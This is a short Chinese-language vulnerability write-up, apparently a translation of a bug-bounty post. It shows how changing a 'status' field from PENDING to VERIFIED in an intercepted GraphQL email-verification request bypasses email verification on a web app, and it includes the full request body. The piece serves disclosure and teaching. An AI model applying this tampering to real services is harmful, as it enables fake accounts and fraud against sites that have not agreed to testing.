未经许可,不得转载。
该漏洞允许我绕过电子邮件验证步骤,无需我点击发送到我的收件箱的链接。
某应用程序提示我,只有验证我的帐户才能使用网站上的一项功能。当我点击“开始验证”并拦截请求时,请求体如下:
{
"operationName": "solutionsResendEmailVerification",
"variables": {
"input": {
"entityId": "511",
"status": "PENDING",
"requestReferrer": "SOLUTIONS_CREATE"
}
},
"query": "mutation solutionsResendEmailVerification($input: ResendEmailInput!) {\n resendEmailVerification(input: $input) {\n success\n __typename\n }\n}"
}
其中,status参数对应的PENDING是待定、挂起的意思。
接下来,我将其更改为“VERIFIED”,也就是已验证的意思,然后发包。刷新页面后,即可绕过该验证步骤。
通过后续分析,该接口实际上还在后端将电子邮件设置为已验证,导致后面的任何功能都不需要电子邮件的验证,可能造成欺诈和伪造帐户、敏感信息泄露。
原文出处:
https://medium.com/@akrachliy/email-verification-bypass-from-p4-to-p2-50fa3dde8e5f